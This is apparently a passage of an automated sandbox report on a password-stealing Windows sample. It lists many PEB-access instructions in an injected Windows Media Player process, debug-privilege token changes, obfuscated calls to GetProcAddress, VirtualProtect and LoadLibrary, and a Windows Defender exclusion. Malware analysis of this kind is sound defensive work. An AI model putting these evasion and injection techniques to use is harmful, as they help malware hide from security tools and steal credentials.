Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D80E9 mov eax, dword ptr fs:[00000030h]	6_2_032D80E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F50E4 mov eax, dword ptr fs:[00000030h]	6_2_032F50E4
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F50E4 mov ecx, dword ptr fs:[00000030h]	6_2_032F50E4
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CA0E3 mov ecx, dword ptr fs:[00000030h]	6_2_032CA0E3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CC0F0 mov eax, dword ptr fs:[00000030h]	6_2_032CC0F0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A50D9 mov eax, dword ptr fs:[00000030h]	6_2_033A50D9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033520DE mov eax, dword ptr fs:[00000030h]	6_2_033520DE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov ecx, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov ecx, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov ecx, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov ecx, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0 mov eax, dword ptr fs:[00000030h]	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F90DB mov eax, dword ptr fs:[00000030h]	6_2_032F90DB
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334D0C0 mov eax, dword ptr fs:[00000030h]	6_2_0334D0C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334D0C0 mov eax, dword ptr fs:[00000030h]	6_2_0334D0C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334C730 mov eax, dword ptr fs:[00000030h]	6_2_0334C730
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03305734 mov eax, dword ptr fs:[00000030h]	6_2_03305734
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033AB73C mov eax, dword ptr fs:[00000030h]	6_2_033AB73C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033AB73C mov eax, dword ptr fs:[00000030h]	6_2_033AB73C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033AB73C mov eax, dword ptr fs:[00000030h]	6_2_033AB73C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033AB73C mov eax, dword ptr fs:[00000030h]	6_2_033AB73C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330273C mov eax, dword ptr fs:[00000030h]	6_2_0330273C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330273C mov ecx, dword ptr fs:[00000030h]	6_2_0330273C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330273C mov eax, dword ptr fs:[00000030h]	6_2_0330273C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D3720 mov eax, dword ptr fs:[00000030h]	6_2_032D3720
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EF720 mov eax, dword ptr fs:[00000030h]	6_2_032EF720
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EF720 mov eax, dword ptr fs:[00000030h]	6_2_032EF720
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EF720 mov eax, dword ptr fs:[00000030h]	6_2_032EF720
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330C720 mov eax, dword ptr fs:[00000030h]	6_2_0330C720
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330C720 mov eax, dword ptr fs:[00000030h]	6_2_0330C720
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339972B mov eax, dword ptr fs:[00000030h]	6_2_0339972B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338F72E mov eax, dword ptr fs:[00000030h]	6_2_0338F72E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D973A mov eax, dword ptr fs:[00000030h]	6_2_032D973A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D973A mov eax, dword ptr fs:[00000030h]	6_2_032D973A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9730 mov eax, dword ptr fs:[00000030h]	6_2_032C9730
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9730 mov eax, dword ptr fs:[00000030h]	6_2_032C9730
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03300710 mov eax, dword ptr fs:[00000030h]	6_2_03300710
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D7703 mov eax, dword ptr fs:[00000030h]	6_2_032D7703
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D5702 mov eax, dword ptr fs:[00000030h]	6_2_032D5702
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D5702 mov eax, dword ptr fs:[00000030h]	6_2_032D5702
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330F71F mov eax, dword ptr fs:[00000030h]	6_2_0330F71F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330F71F mov eax, dword ptr fs:[00000030h]	6_2_0330F71F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330C700 mov eax, dword ptr fs:[00000030h]	6_2_0330C700
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D0710 mov eax, dword ptr fs:[00000030h]	6_2_032D0710
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB765 mov eax, dword ptr fs:[00000030h]	6_2_032CB765
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB765 mov eax, dword ptr fs:[00000030h]	6_2_032CB765
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB765 mov eax, dword ptr fs:[00000030h]	6_2_032CB765
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB765 mov eax, dword ptr fs:[00000030h]	6_2_032CB765
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D8770 mov eax, dword ptr fs:[00000030h]	6_2_032D8770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770 mov eax, dword ptr fs:[00000030h]	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03354755 mov eax, dword ptr fs:[00000030h]	6_2_03354755
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312750 mov eax, dword ptr fs:[00000030h]	6_2_03312750
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312750 mov eax, dword ptr fs:[00000030h]	6_2_03312750
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E3740 mov eax, dword ptr fs:[00000030h]	6_2_032E3740
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E3740 mov eax, dword ptr fs:[00000030h]	6_2_032E3740
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E3740 mov eax, dword ptr fs:[00000030h]	6_2_032E3740
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A3749 mov eax, dword ptr fs:[00000030h]	6_2_033A3749
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D0750 mov eax, dword ptr fs:[00000030h]	6_2_032D0750
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330674D mov esi, dword ptr fs:[00000030h]	6_2_0330674D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330674D mov eax, dword ptr fs:[00000030h]	6_2_0330674D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330674D mov eax, dword ptr fs:[00000030h]	6_2_0330674D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D07AF mov eax, dword ptr fs:[00000030h]	6_2_032D07AF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A37B6 mov eax, dword ptr fs:[00000030h]	6_2_033A37B6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF7BA mov eax, dword ptr fs:[00000030h]	6_2_032CF7BA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335F7AF mov eax, dword ptr fs:[00000030h]	6_2_0335F7AF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335F7AF mov eax, dword ptr fs:[00000030h]	6_2_0335F7AF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335F7AF mov eax, dword ptr fs:[00000030h]	6_2_0335F7AF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335F7AF mov eax, dword ptr fs:[00000030h]	6_2_0335F7AF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335F7AF mov eax, dword ptr fs:[00000030h]	6_2_0335F7AF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033597A9 mov eax, dword ptr fs:[00000030h]	6_2_033597A9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FD7B0 mov eax, dword ptr fs:[00000030h]	6_2_032FD7B0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338F78A mov eax, dword ptr fs:[00000030h]	6_2_0338F78A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F27ED mov eax, dword ptr fs:[00000030h]	6_2_032F27ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F27ED mov eax, dword ptr fs:[00000030h]	6_2_032F27ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F27ED mov eax, dword ptr fs:[00000030h]	6_2_032F27ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DD7E0 mov ecx, dword ptr fs:[00000030h]	6_2_032DD7E0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D47FB mov eax, dword ptr fs:[00000030h]	6_2_032D47FB
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D47FB mov eax, dword ptr fs:[00000030h]	6_2_032D47FB
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DC7C0 mov eax, dword ptr fs:[00000030h]	6_2_032DC7C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D57C0 mov eax, dword ptr fs:[00000030h]	6_2_032D57C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D57C0 mov eax, dword ptr fs:[00000030h]	6_2_032D57C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D57C0 mov eax, dword ptr fs:[00000030h]	6_2_032D57C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033507C3 mov eax, dword ptr fs:[00000030h]	6_2_033507C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D262C mov eax, dword ptr fs:[00000030h]	6_2_032D262C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE627 mov eax, dword ptr fs:[00000030h]	6_2_032EE627
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF626 mov eax, dword ptr fs:[00000030h]	6_2_032CF626
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A5636 mov eax, dword ptr fs:[00000030h]	6_2_033A5636
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03306620 mov eax, dword ptr fs:[00000030h]	6_2_03306620
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03308620 mov eax, dword ptr fs:[00000030h]	6_2_03308620
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E260B mov eax, dword ptr fs:[00000030h]	6_2_032E260B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E260B mov eax, dword ptr fs:[00000030h]	6_2_032E260B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E260B mov eax, dword ptr fs:[00000030h]	6_2_032E260B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E260B mov eax, dword ptr fs:[00000030h]	6_2_032E260B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E260B mov eax, dword ptr fs:[00000030h]	6_2_032E260B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E260B mov eax, dword ptr fs:[00000030h]	6_2_032E260B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E260B mov eax, dword ptr fs:[00000030h]	6_2_032E260B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312619 mov eax, dword ptr fs:[00000030h]	6_2_03312619
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330F603 mov eax, dword ptr fs:[00000030h]	6_2_0330F603
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03301607 mov eax, dword ptr fs:[00000030h]	6_2_03301607
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D3616 mov eax, dword ptr fs:[00000030h]	6_2_032D3616
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D3616 mov eax, dword ptr fs:[00000030h]	6_2_032D3616
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E609 mov eax, dword ptr fs:[00000030h]	6_2_0334E609
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03302674 mov eax, dword ptr fs:[00000030h]	6_2_03302674
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330A660 mov eax, dword ptr fs:[00000030h]	6_2_0330A660
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330A660 mov eax, dword ptr fs:[00000030h]	6_2_0330A660
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03309660 mov eax, dword ptr fs:[00000030h]	6_2_03309660
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03309660 mov eax, dword ptr fs:[00000030h]	6_2_03309660
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339866E mov eax, dword ptr fs:[00000030h]	6_2_0339866E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339866E mov eax, dword ptr fs:[00000030h]	6_2_0339866E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EC640 mov eax, dword ptr fs:[00000030h]	6_2_032EC640
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033066B0 mov eax, dword ptr fs:[00000030h]	6_2_033066B0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CD6AA mov eax, dword ptr fs:[00000030h]	6_2_032CD6AA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CD6AA mov eax, dword ptr fs:[00000030h]	6_2_032CD6AA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330C6A6 mov eax, dword ptr fs:[00000030h]	6_2_0330C6A6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C76B2 mov eax, dword ptr fs:[00000030h]	6_2_032C76B2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C76B2 mov eax, dword ptr fs:[00000030h]	6_2_032C76B2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C76B2 mov eax, dword ptr fs:[00000030h]	6_2_032C76B2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335368C mov eax, dword ptr fs:[00000030h]	6_2_0335368C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335368C mov eax, dword ptr fs:[00000030h]	6_2_0335368C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335368C mov eax, dword ptr fs:[00000030h]	6_2_0335368C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335368C mov eax, dword ptr fs:[00000030h]	6_2_0335368C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D4690 mov eax, dword ptr fs:[00000030h]	6_2_032D4690
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D4690 mov eax, dword ptr fs:[00000030h]	6_2_032D4690
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033506F1 mov eax, dword ptr fs:[00000030h]	6_2_033506F1
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033506F1 mov eax, dword ptr fs:[00000030h]	6_2_033506F1
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E6F2 mov eax, dword ptr fs:[00000030h]	6_2_0334E6F2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E6F2 mov eax, dword ptr fs:[00000030h]	6_2_0334E6F2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E6F2 mov eax, dword ptr fs:[00000030h]	6_2_0334E6F2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E6F2 mov eax, dword ptr fs:[00000030h]	6_2_0334E6F2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338D6F0 mov eax, dword ptr fs:[00000030h]	6_2_0338D6F0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FD6E0 mov eax, dword ptr fs:[00000030h]	6_2_032FD6E0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FD6E0 mov eax, dword ptr fs:[00000030h]	6_2_032FD6E0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033636EE mov eax, dword ptr fs:[00000030h]	6_2_033636EE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033636EE mov eax, dword ptr fs:[00000030h]	6_2_033636EE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033636EE mov eax, dword ptr fs:[00000030h]	6_2_033636EE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033636EE mov eax, dword ptr fs:[00000030h]	6_2_033636EE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033636EE mov eax, dword ptr fs:[00000030h]	6_2_033636EE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033636EE mov eax, dword ptr fs:[00000030h]	6_2_033636EE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033036EF mov eax, dword ptr fs:[00000030h]	6_2_033036EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DB6C0 mov eax, dword ptr fs:[00000030h]	6_2_032DB6C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DB6C0 mov eax, dword ptr fs:[00000030h]	6_2_032DB6C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DB6C0 mov eax, dword ptr fs:[00000030h]	6_2_032DB6C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DB6C0 mov eax, dword ptr fs:[00000030h]	6_2_032DB6C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DB6C0 mov eax, dword ptr fs:[00000030h]	6_2_032DB6C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DB6C0 mov eax, dword ptr fs:[00000030h]	6_2_032DB6C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033916CC mov eax, dword ptr fs:[00000030h]	6_2_033916CC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Memory allocated: page read and write | page guard

.NET source code references suspicious native API functions

HIPS / PFW / Operating System Protection Evasion

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, ----------------.cs	Reference to suspicious API methods: GetProcAddress(_EE20_0E7E_0670_EE4C_ECB5_EE6F_EEC3_08F8_0658_FE75_EC8D_EE0E_EED3_EE29_061F_EE20_0609_0670_EC98, _EED7_EE62_EED2_EED2_EE36_06E7_08D4_EE79_0EA6_EEDD_08C8_EECC_EEDB_EEBC_0E79_EEFA_0658_EEAB)
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, ----------------.cs	Reference to suspicious API methods: VirtualProtect(procAddress, (uint)_EEB7_0E67_EC93_EEA7_0650_08E9_EEDC_EC7A_066B_ECBE_EEFC_08F7_EE31_EE92_0653_08EC.Length, 64u, out var _EC93_065B_EE29_08EE_06E7)
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, ----------------.cs	Reference to suspicious API methods: LoadLibrary(_EE23_EECD_EE92_EE00_EED9_0E69_EEB8_0E6F_EE1E_EEE6_EE08_EE56_EEC8_EE11_0651_EC7E_0605_08EB(_EE36_EE50_060A_EE59_08E2_EEE7_08E5_0658_EEF6_EE7A_066C_08F7_EEA1_EE16_EE1B_EC9F._EE88_0614_EEF8_EED2_ECAA))

Adds a directory exclusion to Windows Defender

